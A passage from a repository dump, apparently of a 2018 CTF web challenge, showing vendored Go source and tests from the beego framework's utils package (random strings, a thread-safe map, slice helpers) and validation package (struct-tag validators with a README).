fmt.Errorf("ToInt64 need numeric not `%T`", value) } return } ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/utils/rand.go ================================================ // Copyright 2014 beego Author. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package utils import ( "crypto/rand" r "math/rand" "time" ) var alphaNum = []byte(`0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz`) // RandomCreateBytes generate random []byte by specify chars. func RandomCreateBytes(n int, alphabets ...byte) []byte { if len(alphabets) == 0 { alphabets = alphaNum } var bytes = make([]byte, n) var randBy bool if num, err := rand.Read(bytes); num != n || err != nil { r.Seed(time.Now().UnixNano()) randBy = true } for i, b := range bytes { if randBy { bytes[i] = alphabets[r.Intn(len(alphabets))] } else { bytes[i] = alphabets[b%byte(len(alphabets))] } } return bytes } ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/utils/rand_test.go ================================================ // Copyright 2016 beego Author. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package utils import "testing" func TestRand_01(t *testing.T) { bs0 := RandomCreateBytes(16) bs1 := RandomCreateBytes(16) t.Log(string(bs0), string(bs1)) if string(bs0) == string(bs1) { t.FailNow() } bs0 = RandomCreateBytes(4, []byte(`a`)...) if string(bs0) != "aaaa" { t.FailNow() } } ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/utils/safemap.go ================================================ // Copyright 2014 beego Author. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package utils import ( "sync" ) // BeeMap is a map with lock type BeeMap struct { lock *sync.RWMutex bm map[interface{}]interface{} } // NewBeeMap return new safemap func NewBeeMap() *BeeMap { return &BeeMap{ lock: new(sync.RWMutex), bm: make(map[interface{}]interface{}), } } // Get from maps return the k's value func (m *BeeMap) Get(k interface{}) interface{} { m.lock.RLock() defer m.lock.RUnlock() if val, ok := m.bm[k]; ok { return val } return nil } // Set Maps the given key and value. Returns false // if the key is already in the map and changes nothing. func (m *BeeMap) Set(k interface{}, v interface{}) bool { m.lock.Lock() defer m.lock.Unlock() if val, ok := m.bm[k]; !ok { m.bm[k] = v } else if val != v { m.bm[k] = v } else { return false } return true } // Check Returns true if k is exist in the map. func (m *BeeMap) Check(k interface{}) bool { m.lock.RLock() defer m.lock.RUnlock() _, ok := m.bm[k] return ok } // Delete the given key and value. func (m *BeeMap) Delete(k interface{}) { m.lock.Lock() defer m.lock.Unlock() delete(m.bm, k) } // Items returns all items in safemap. func (m *BeeMap) Items() map[interface{}]interface{} { m.lock.RLock() defer m.lock.RUnlock() r := make(map[interface{}]interface{}) for k, v := range m.bm { r[k] = v } return r } // Count returns the number of items within the map. func (m *BeeMap) Count() int { m.lock.RLock() defer m.lock.RUnlock() return len(m.bm) } ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/utils/safemap_test.go ================================================ // Copyright 2014 beego Author. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package utils import "testing" var safeMap *BeeMap func TestNewBeeMap(t *testing.T) { safeMap = NewBeeMap() if safeMap == nil { t.Fatal("expected to return non-nil BeeMap", "got", safeMap) } } func TestSet(t *testing.T) { if ok := safeMap.Set("astaxie", 1); !ok { t.Error("expected", true, "got", false) } } func TestReSet(t *testing.T) { safeMap := NewBeeMap() if ok := safeMap.Set("astaxie", 1); !ok { t.Error("expected", true, "got", false) } // set diff value if ok := safeMap.Set("astaxie", -1); !ok { t.Error("expected", true, "got", false) } // set same value if ok := safeMap.Set("astaxie", -1); ok { t.Error("expected", false, "got", true) } } func TestCheck(t *testing.T) { if exists := safeMap.Check("astaxie"); !exists { t.Error("expected", true, "got", false) } } func TestGet(t *testing.T) { if val := safeMap.Get("astaxie"); val.(int) != 1 { t.Error("expected value", 1, "got", val) } } func TestDelete(t *testing.T) { safeMap.Delete("astaxie") if exists := safeMap.Check("astaxie"); exists { t.Error("expected element to be deleted") } } func TestItems(t *testing.T) { safeMap := NewBeeMap() safeMap.Set("astaxie", "hello") for k, v := range safeMap.Items() { key := k.(string) value := v.(string) if key != "astaxie" { t.Error("expected the key should be astaxie") } if value != "hello" { t.Error("expected the value should be hello") } } } func TestCount(t *testing.T) { if count := safeMap.Count(); count != 0 { t.Error("expected count to be", 0, "got", count) } } ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/utils/slice.go ================================================ // Copyright 2014 beego Author. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package utils import ( "math/rand" "time" ) type reducetype func(interface{}) interface{} type filtertype func(interface{}) bool // InSlice checks given string in string slice or not. func InSlice(v string, sl []string) bool { for _, vv := range sl { if vv == v { return true } } return false } // InSliceIface checks given interface in interface slice. func InSliceIface(v interface{}, sl []interface{}) bool { for _, vv := range sl { if vv == v { return true } } return false } // SliceRandList generate an int slice from min to max. func SliceRandList(min, max int) []int { if max < min { min, max = max, min } length := max - min + 1 t0 := time.Now() rand.Seed(int64(t0.Nanosecond())) list := rand.Perm(length) for index := range list { list[index] += min } return list } // SliceMerge merges interface slices to one slice. func SliceMerge(slice1, slice2 []interface{}) (c []interface{}) { c = append(slice1, slice2...) return } // SliceReduce generates a new slice after parsing every value by reduce function func SliceReduce(slice []interface{}, a reducetype) (dslice []interface{}) { for _, v := range slice { dslice = append(dslice, a(v)) } return } // SliceRand returns random one from slice. func SliceRand(a []interface{}) (b interface{}) { randnum := rand.Intn(len(a)) b = a[randnum] return } // SliceSum sums all values in int64 slice. func SliceSum(intslice []int64) (sum int64) { for _, v := range intslice { sum += v } return } // SliceFilter generates a new slice after filter function. func SliceFilter(slice []interface{}, a filtertype) (ftslice []interface{}) { for _, v := range slice { if a(v) { ftslice = append(ftslice, v) } } return } // SliceDiff returns diff slice of slice1 - slice2. func SliceDiff(slice1, slice2 []interface{}) (diffslice []interface{}) { for _, v := range slice1 { if !InSliceIface(v, slice2) { diffslice = append(diffslice, v) } } return } // SliceIntersect returns slice that are present in all the slice1 and slice2. func SliceIntersect(slice1, slice2 []interface{}) (diffslice []interface{}) { for _, v := range slice1 { if InSliceIface(v, slice2) { diffslice = append(diffslice, v) } } return } // SliceChunk separates one slice to some sized slice. func SliceChunk(slice []interface{}, size int) (chunkslice [][]interface{}) { if size >= len(slice) { chunkslice = append(chunkslice, slice) return } end := size for i := 0; i <= (len(slice) - size); i += size { chunkslice = append(chunkslice, slice[i:end]) end += size } return } // SliceRange generates a new slice from begin to end with step duration of int64 number. func SliceRange(start, end, step int64) (intslice []int64) { for i := start; i <= end; i += step { intslice = append(intslice, i) } return } // SlicePad prepends size number of val into slice. func SlicePad(slice []interface{}, size int, val interface{}) []interface{} { if size <= len(slice) { return slice } for i := 0; i < (size - len(slice)); i++ { slice = append(slice, val) } return slice } // SliceUnique cleans repeated values in slice. func SliceUnique(slice []interface{}) (uniqueslice []interface{}) { for _, v := range slice { if !InSliceIface(v, uniqueslice) { uniqueslice = append(uniqueslice, v) } } return } // SliceShuffle shuffles a slice. func SliceShuffle(slice []interface{}) []interface{} { for i := 0; i < len(slice); i++ { a := rand.Intn(len(slice)) b := rand.Intn(len(slice)) slice[a], slice[b] = slice[b], slice[a] } return slice } ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/utils/slice_test.go ================================================ // Copyright 2014 beego Author. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package utils import ( "testing" ) func TestInSlice(t *testing.T) { sl := []string{"A", "b"} if !InSlice("A", sl) { t.Error("should be true") } if InSlice("B", sl) { t.Error("should be false") } } ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/utils/testdata/grepe.test ================================================ # empty lines hello # comment world ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/utils/utils.go ================================================ package utils import ( "os" "path/filepath" "runtime" "strings" ) // GetGOPATHs returns all paths in GOPATH variable. func GetGOPATHs() []string { gopath := os.Getenv("GOPATH") if gopath == "" && strings.Compare(runtime.Version(), "go1.8") >= 0 { gopath = defaultGOPATH() } return filepath.SplitList(gopath) } func defaultGOPATH() string { env := "HOME" if runtime.GOOS == "windows" { env = "USERPROFILE" } else if runtime.GOOS == "plan9" { env = "home" } if home := os.Getenv(env); home != "" { return filepath.Join(home, "go") } return "" } ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/validation/README.md ================================================ validation ============== validation is a form validation for a data validation and error collecting using Go. ## Installation and tests Install: go get github.com/astaxie/beego/validation Test: go test github.com/astaxie/beego/validation ## Example Direct Use: import ( "github.com/astaxie/beego/validation" "log" ) type User struct { Name string Age int } func main() { u := User{"man", 40} valid := validation.Validation{} valid.Required(u.Name, "name") valid.MaxSize(u.Name, 15, "nameMax") valid.Range(u.Age, 0, 140, "age") if valid.HasErrors() { // validation does not pass // print invalid message for _, err := range valid.Errors { log.Println(err.Key, err.Message) } } // or use like this if v := valid.Max(u.Age, 140, "ageMax"); !v.Ok { log.Println(v.Error.Key, v.Error.Message) } } Struct Tag Use: import ( "github.com/astaxie/beego/validation" ) // validation function follow with "valid" tag // functions divide with ";" // parameters in parentheses "()" and divide with "," // Match function's pattern string must in "//" type user struct { Id int Name string `valid:"Required;Match(/^(test)?\\w*@;com$/)"` Age int `valid:"Required;Range(1, 140)"` } func main() { valid := validation.Validation{} // ignore empty field valid // see CanSkipFuncs // valid := validation.Validation{RequiredFirst:true} u := user{Name: "test", Age: 40} b, err := valid.Valid(u) if err != nil { // handle error } if !b { // validation does not pass // blabla... } } Use custom function: import ( "github.com/astaxie/beego/validation" ) type user struct { Id int Name string `valid:"Required;IsMe"` Age int `valid:"Required;Range(1, 140)"` } func IsMe(v *validation.Validation, obj interface{}, key string) { name, ok:= obj.(string) if !ok { // wrong use case? return } if name != "me" { // valid false v.SetError("Name", "is not me!") } } func main() { valid := validation.Validation{} if err := validation.AddCustomFunc("IsMe", IsMe); err != nil { // hadle error } u := user{Name: "test", Age: 40} b, err := valid.Valid(u) if err != nil { // handle error } if !b { // validation does not pass // blabla... } } Struct Tag Functions: Required Min(min int) Max(max int) Range(min, max int) MinSize(min int) MaxSize(max int) Length(length int) Alpha Numeric AlphaNumeric Match(pattern string) AlphaDash Email IP Base64 Mobile Tel Phone ZipCode ## LICENSE BSD License http://creativecommons.org/licenses/BSD/ ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/validation/util.go ================================================ // Copyright 2014 beego Author. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package validation import ( "fmt" "reflect" "regexp" "strconv" "strings" ) const ( // ValidTag struct tag ValidTag = "valid" wordsize = 32 << (^uint(0) >> 32 & 1) ) var ( // key: function name // value: the number of parameters funcs = make(Funcs) // doesn't belong to validation functions unFuncs = map[string]bool{ "Clear": true, "HasErrors": true, "ErrorMap": true, "Error": true, "apply": true, "Check": true, "Valid": true, "NoMatch": true, } // ErrInt64On32 show 32 bit platform not support int64 ErrInt64On32 = fmt.Errorf("not support int64 on 32-bit platform") ) func init() { v := &Validation{} t := reflect.TypeOf(v) for i := 0; i < t.NumMethod(); i++ { m := t.Method(i) if !unFuncs[m.Name] { funcs[m.Name] = m.Func } } } // CustomFunc is for custom validate function type CustomFunc func(v *Validation, obj interface{}, key string) // AddCustomFunc Add a custom function to validation // The name can not be: // Clear // HasErrors // ErrorMap // Error // Check // Valid // NoMatch // If the name is same with exists function, it will replace the origin valid function func AddCustomFunc(name string, f CustomFunc) error { if unFuncs[name] { return fmt.Errorf("invalid function name: %s", name) } funcs[name] = reflect.ValueOf(f) return nil } // ValidFunc Valid function type type ValidFunc struct { Name string Params []interface{} } // Funcs Validate function map type Funcs map[string]reflect.Value // Call validate values with named type string func (f Funcs) Call(name string, params ...interface{}) (result []reflect.Value, err error) { defer func() { if r := recover(); r != nil { err = fmt.Errorf("%v", r) } }() if _, ok := f[name]; !ok { err = fmt.Errorf("%s does not exist", name) return } if len(params) != f[name].Type().NumIn() { err = fmt.Errorf("The number of params is not adapted") return } in := make([]reflect.Value, len(params)) for k, param := range params { in[k] = reflect.ValueOf(param) } result = f[name].Call(in) return } func isStruct(t reflect.Type) bool { return t.Kind() == reflect.Struct } func isStructPtr(t reflect.Type) bool { return t.Kind() == reflect.Ptr && t.Elem().Kind() == reflect.Struct } func getValidFuncs(f reflect.StructField) (vfs []ValidFunc, err error) { tag := f.Tag.Get(ValidTag) if len(tag) == 0 { return } if vfs, tag, err = getRegFuncs(tag, f.Name); err != nil { return } fs := strings.Split(tag, ";") for _, vfunc := range fs { var vf ValidFunc if len(vfunc) == 0 { continue } vf, err = parseFunc(vfunc, f.Name) if err != nil { return } vfs = append(vfs, vf) } return } // Get Match function // May be get NoMatch function in the future func getRegFuncs(tag, key string) (vfs []ValidFunc, str string, err error) { tag = strings.TrimSpace(tag) index := strings.Index(tag, "Match(/") if index == -1 { str = tag return } end := strings.LastIndex(tag, "/)") if end < index { err = fmt.Errorf("invalid Match function") return } reg, err := regexp.Compile(tag[index+len("Match(/") : end]) if err != nil { return } vfs = []ValidFunc{{"Match", []interface{}{reg, key + ".Match"}}} str = strings.TrimSpace(tag[:index]) + strings.TrimSpace(tag[end+len("/)"):]) return } func parseFunc(vfunc, key string) (v ValidFunc, err error) { defer func() { if r := recover(); r != nil { err = fmt.Errorf("%v", r) } }() vfunc = strings.TrimSpace(vfunc) start := strings.Index(vfunc, "(") var num int // doesn't need parameter valid function if start == -1 { if num, err = numIn(vfunc); err != nil { return } if num != 0 { err = fmt.Errorf("%s require %d parameters", vfunc, num) return } v = ValidFunc{vfunc, []interface{}{key + "." + vfunc}} return } end := strings.Index(vfunc, ")") if end == -1 { err = fmt.Errorf("invalid valid function") return } name := strings.TrimSpace(vfunc[:start]) if num, err = numIn(name); err != nil { return } params := strings.Split(vfunc[start+1:end], ",") // the num of param must be equal if num != len(params) { err = fmt.Errorf("%s require %d parameters", name, num) return } tParams, err := trim(name, key+"."+name, params) if err != nil { return } v = ValidFunc{name, tParams} return } func numIn(name string) (num int, err error) { fn, ok := funcs[name] if !ok { err = fmt.Errorf("doesn't exsits %s valid function", name) return } // sub *Validation obj and key num = fn.Type().NumIn() - 3 return } func trim(name, key string, s []string) (ts []interface{}, err error) { ts = make([]interface{}, len(s), len(s)+1) fn, ok := funcs[name] if !ok { err = fmt.Errorf("doesn't exsits %s valid function", name) return } for i := 0; i < len(s); i++ { var param interface{} // skip *Validation and obj params if param, err = parseParam(fn.Type().In(i+2), strings.TrimSpace(s[i])); err != nil { return } ts[i] = param } ts = append(ts, key) return } // modify the parameters's type to adapt the function input parameters' type func parseParam(t reflect.Type, s string) (i interface{}, err error) { switch t.Kind() { case reflect.Int: i, err = strconv.Atoi(s) case reflect.Int64: if wordsize == 32 { return nil, ErrInt64On32 } i, err = strconv.ParseInt(s, 10, 64) case reflect.Int32: var v int64 v, err = strconv.ParseInt(s, 10, 32) if err == nil { i = int32(v) } case reflect.Int16: var v int64 v, err = strconv.ParseInt(s, 10, 16) if err == nil { i = int16(v) } case reflect.Int8: var v int64 v, err = strconv.ParseInt(s, 10, 8) if err == nil { i = int8(v) } case reflect.String: i = s case reflect.Ptr: if t.Elem().String() != "regexp.Regexp" { err = fmt.Errorf("not support %s", t.Elem().String()) return } i, err = regexp.Compile(s) default: err = fmt.Errorf("not support %s", t.Kind().String()) } return } func mergeParam(v *Validation, obj interface{}, params []interface{}) []interface{} { return append([]interface{}{v, obj}, params...) } ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/validation/util_test.go ================================================ // Copyright 2014 beego Author. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package validation import ( "reflect" "testing" ) type user struct { ID int Tag string `valid:"Maxx(aa)"` Name string `valid:"Required;"` Age int `valid:"Required;Range(1, 140)"` match string `valid:"Required; Match(/^(test)?\\w*@(/test/);com$/);Max(2)"` } func TestGetValidFuncs(t *testing.T) { u := user{Name: "test", Age: 1} tf := reflect.TypeOf(u) var vfs []ValidFunc var err error f, _ := tf.FieldByName("ID") if vfs, err = getValidFuncs(f); err != nil { t.Fatal(err) } if len(vfs) != 0 { t.Fatal("should get none ValidFunc") } f, _ = tf.FieldByName("Tag") if _, err = getValidFuncs(f); err.Error() != "doesn't exsits Maxx valid function" { t.Fatal(err) } f, _ = tf.FieldByName("Name") if vfs, err = getValidFuncs(f); err != nil { t.Fatal(err) } if len(vfs) != 1 { t.Fatal("should get 1 ValidFunc") } if vfs[0].Name != "Required" && len(vfs[0].Params) != 0 { t.Error("Required funcs should be got") } f, _ = tf.FieldByName("Age") if vfs, err = getValidFuncs(f); err != nil { t.Fatal(err) } if len(vfs) != 2 { t.Fatal("should get 2 ValidFunc") } if vfs[0].Name != "Required" && len(vfs[0].Params) != 0 { t.Error("Required funcs should be got") } if vfs[1].Name != "Range" && len(vfs[1].Params) != 2 { t.Error("Range funcs should be got") } f, _ = tf.FieldByName("match") if vfs, err = getValidFuncs(f); err != nil { t.Fatal(err) } if len(vfs) != 3 { t.Fatal("should get 3 ValidFunc but now is", len(vfs)) } } func TestCall(t *testing.T) { u := user{Name: "test", Age: 180} tf := reflect.TypeOf(u) var vfs []ValidFunc var err error f, _ := tf.FieldByName("Age") if vfs, err = getValidFuncs(f); err != nil { t.Fatal(err) } valid := &Validation{} vfs[1].Params = append([]interface{}{valid, u.Age}, vfs[1].Params...) if _, err = funcs.Call(vfs[1].Name, vfs[1].Params...); err != nil { t.Fatal(err) } if len(valid.Errors) != 1 { t.Error("age out of range should be has an error") } } ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/validation/validation.go ================================================ // Copyright 2014 beego Author. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // Package validation for validations // // import ( // "github.com/astaxie/beego/validation" // "log" // ) // // type User struct { // Name string // Age int // } // // func main() { // u := User{"man", 40} // valid := validation.Validation{} // valid.Required(u.Name, "name") // valid.MaxSize(u.Name, 15, "nameMax") // valid.Range(u.Age, 0, 140, "age") // if valid.HasErrors() { // // validation does not pass // // print invalid message // for _, err := range valid.Errors { // log.Println(err.Key, err.Message) // } // } // // or use like this // if v := valid.Max(u.Age, 140, "ageMax"); !v.Ok { // log.Println(v.Error.Key, v.Error.Message) // } // } // // more info: http://beego.me/docs/mvc/controller/validation.md package validation import ( "fmt" "reflect" "regexp" "strings" ) // ValidFormer valid interface type ValidFormer interface { Valid(*Validation) } // Error show the error type Error struct { Message, Key, Name, Field, Tmpl string Value interface{} LimitValue interface{} } // String Returns the Message. func (e *Error) String() string { if e == nil { return "" } return e.Message } // Implement Error interface. // Return e.String() func (e *Error) Error() string { return e.String() } // Result is returned from every validation method. // It provides an indication of success, and a pointer to the Error (if any). type Result struct { Error *Error Ok bool } // Key Get Result by given key string. func (r *Result) Key(key string) *Result { if r.Error != nil { r.Error.Key = key } return r } // Message Set Result message by string or format string with args func (r *Result) Message(message string, args ...interface{}) *Result { if r.Error != nil { if len(args) == 0 { r.Error.Message = message } else { r.Error.Message = fmt.Sprintf(message, args...) } } return r } // A Validation context manages data validation and error messages. type Validation struct { // if this field set true, in struct tag valid // if the struct field vale is empty // it will skip those valid functions, see CanSkipFuncs RequiredFirst bool Errors []*Error ErrorsMap map[string][]*Error } // Clear Clean all ValidationError. func (v *Validation) Clear() { v.Errors = []*Error{} v.ErrorsMap = nil } // HasErrors Has ValidationError nor not. func (v *Validation) HasErrors() bool { return len(v.Errors) > 0 } // ErrorMap Return the errors mapped by key. // If there are multiple validation errors associated with a single key, the // first one "wins". (Typically the first validation will be the more basic). func (v *Validation) ErrorMap() map[string][]*Error { return v.ErrorsMap } // Error Add an error to the validation context. func (v *Validation) Error(message string, args ...interface{}) *Result { result := (&Result{ Ok: false, Error: &Error{}, }).Message(message, args...) v.Errors = append(v.Errors, result.Error) return result } // Required Test that the argument is non-nil and non-empty (if string or list) func (v *Validation) Required(obj interface{}, key string) *Result { return v.apply(Required{key}, obj) } // Min Test that the obj is greater than min if obj's type is int func (v *Validation) Min(obj interface{}, min int, key string) *Result { return v.apply(Min{min, key}, obj) } // Max Test that the obj is less than max if obj's type is int func (v *Validation) Max(obj interface{}, max int, key string) *Result { return v.apply(Max{max, key}, obj) } // Range Test that the obj is between mni and max if obj's type is int func (v *Validation) Range(obj interface{}, min, max int, key string) *Result { return v.apply(Range{Min{Min: min}, Max{Max: max}, key}, obj) } // MinSize Test that the obj is longer than min size if type is string or slice func (v *Validation) MinSize(obj interface{}, min int, key string) *Result { return v.apply(MinSize{min, key}, obj) } // MaxSize Test that the obj is shorter than max size if type is string or slice func (v *Validation) MaxSize(obj interface{}, max int, key string) *Result { return v.apply(MaxSize{max, key}, obj) } // Length Test that the obj is same length to n if type is string or slice func (v *Validation) Length(obj interface{}, n int, key string) *Result { return v.apply(Length{n, key}, obj) } // Alpha Test that the obj is [a-zA-Z] if type is string func (v *Validation) Alpha(obj interface{}, key string) *Result { return v.apply(Alpha{key}, obj) } // Numeric Test that the obj is [0-9] if type is string func (v *Validation) Numeric(obj interface{}, key string) *Result { return v.apply(Numeric{key}, obj) } // AlphaNumeric Test that the obj is [0-9a-zA-Z] if type is string func (v *Validation) AlphaNumeric(obj interface{}, key string) *Result { return v.apply(AlphaNumeric{key}, obj) } // Match Test that the obj matches regexp if type is string func (v *Validation) Match(obj interface{}, regex *regexp.Regexp, key string) *Result { return v.apply(Match{regex, key}, obj) } // NoMatch Test that the obj doesn't match regexp if type is string func (v *Validation) NoMatch(obj interface{}, regex *regexp.Regexp, key string) *Result { return v.apply(NoMatch{Match{Regexp: regex}, key}, obj) } // AlphaDash Test that the obj is [0-9a-zA-Z_-] if type is string func (v *Validation) AlphaDash(obj interface{}, key string) *Result { return v.apply(AlphaDash{NoMatch{Match: Match{Regexp: alphaDashPattern}}, key}, obj) } // Email Test that the obj is email address if type is string func (v *Validation) Email(obj interface{}, key string) *Result { return v.apply(Email{Match{Regexp: emailPattern}, key}, obj) } // IP Test that the obj is IP address if type is string func (v *Validation) IP(obj interface{}, key string) *Result { return v.apply(IP{Match{Regexp: ipPattern}, key}, obj) } // Base64 Test that the obj is base64 encoded if type is string func (v *Validation) Base64(obj interface{}, key string) *Result { return v.apply(Base64{Match{Regexp: base64Pattern}, key}, obj) } // Mobile Test that the obj is chinese mobile number if type is string func (v *Validation) Mobile(obj interface{}, key string) *Result { return v.apply(Mobile{Match{Regexp: mobilePattern}, key}, obj) } // Tel Test that the obj is chinese telephone number if type is string func (v *Validation) Tel(obj interface{}, key string) *Result { return v.apply(Tel{Match{Regexp: telPattern}, key}, obj) } // Phone Test that the obj is chinese mobile or telephone number if type is string func (v *Validation) Phone(obj interface{}, key string) *Result { return v.apply(Phone{Mobile{Match: Match{Regexp: mobilePattern}}, Tel{Match: Match{Regexp: telPattern}}, key}, obj) } // ZipCode Test that the obj is chinese zip code if type is string func (v *Validation) ZipCode(obj interface{}, key string) *Result { return v.apply(ZipCode{Match{Regexp: zipCodePattern}, key}, obj) } func (v *Validation) apply(chk Validator, obj interface{}) *Result { if chk.IsSatisfied(obj) { return &Result{Ok: true} } // Add the error to the validation context. key := chk.GetKey() Name := key Field := "" parts := strings.Split(key, ".") if len(parts) == 2 { Field = parts[0] Name = parts[1] } err := &Error{ Message: chk.DefaultMessage(), Key: key, Name: Name, Field: Field, Value: obj, Tmpl: MessageTmpls[Name], LimitValue: chk.GetLimitValue(), } v.setError(err) // Also return it in the result. return &Result{ Ok: false, Error: err, } } // AddError adds independent error message for the provided key func (v *Validation) AddError(key, message string) { Name := key Field := "" parts := strings.Split(key, ".") if len(parts) == 2 { Field = parts[0] Name = parts[1] } err := &Error{ Message: message, Key: key, Name: Name, Field: Field, } v.setError(err) } func (v *Validation) setError(err *Error) { v.Errors = append(v.Errors, err) if v.ErrorsMap == nil { v.ErrorsMap = make(map[string][]*Error) } if _, ok := v.ErrorsMap[err.Field]; !ok { v.ErrorsMap[err.Field] = []*Error{} } v.ErrorsMap[err.Field] = append(v.ErrorsMap[err.Field], err) } // SetError Set error message for one field in ValidationError func (v *Validation) SetError(fieldName string, errMsg string) *Error { err := &Error{Key: fieldName, Field: fieldName, Tmpl: errMsg, Message: errMsg} v.setError(err) return err } // Check Apply a group of validators to a field, in order, and return the // ValidationResult from the first one that fails, or the last one that // succeeds. func (v *Validation) Check(obj interface{}, checks ...Validator) *Result { var result *Result for _, check := range checks { result = v.apply(check, obj) if !result.Ok { return result } } return result } // Valid Validate a struct. // the obj parameter must be a struct or a struct pointer func (v *Validation) Valid(obj interface{}) (b bool, err error) { objT := reflect.TypeOf(obj) objV := reflect.ValueOf(obj) switch { case isStruct(objT): case isStructPtr(objT): objT = objT.Elem() objV = objV.Elem() default: err = fmt.Errorf("%v must be a struct or a struct pointer", obj) return } for i := 0; i < objT.NumField(); i++ { var vfs []ValidFunc if vfs, err = getValidFuncs(objT.Field(i)); err != nil { return } var hasReuired bool for _, vf := range vfs { if vf.Name == "Required" { hasReuired = true } if !hasReuired && v.RequiredFirst && len(objV.Field(i).String()) == 0 { if _, ok := CanSkipFuncs[vf.Name]; ok { continue } } if _, err = funcs.Call(vf.Name, mergeParam(v, objV.Field(i).Interface(), vf.Params)...); err != nil { return } } } if !v.HasErrors() { if form, ok := obj.(ValidFormer); ok { form.Valid(v) } } return !v.HasErrors(), nil } // RecursiveValid Recursively validate a struct. // Step1: Validate by v.Valid // Step2: If pass on step1, then reflect obj's fields // Step3: Do the Recursively validation to all struct or struct pointer fields func (v *Validation) RecursiveValid(objc interface{}) (bool, error) { //Step 1: validate obj itself firstly // fails if objc is not struct pass, err := v.Valid(objc) if err != nil || !pass { return pass, err // Stop recursive validation } // Step 2: Validate struct's struct fields objT := reflect.TypeOf(objc) objV := reflect.ValueOf(objc) if isStructPtr(objT) { objT = objT.Elem() objV = objV.Elem() } for i := 0; i < objT.NumField(); i++ { t := objT.Field(i).Type // Recursive applies to struct or pointer to structs fields if isStruct(t) || isStructPtr(t) { // Step 3: do the recursive validation // Only valid the Public field recursively if objV.Field(i).CanInterface() { pass, err = v.RecursiveValid(objV.Field(i).Interface()) } } } return pass, err } ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/validation/validation_test.go ================================================ // Copyright 2014 beego Author. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package validation import ( "regexp" "testing" "time" ) func TestRequired(t *testing.T) { valid := 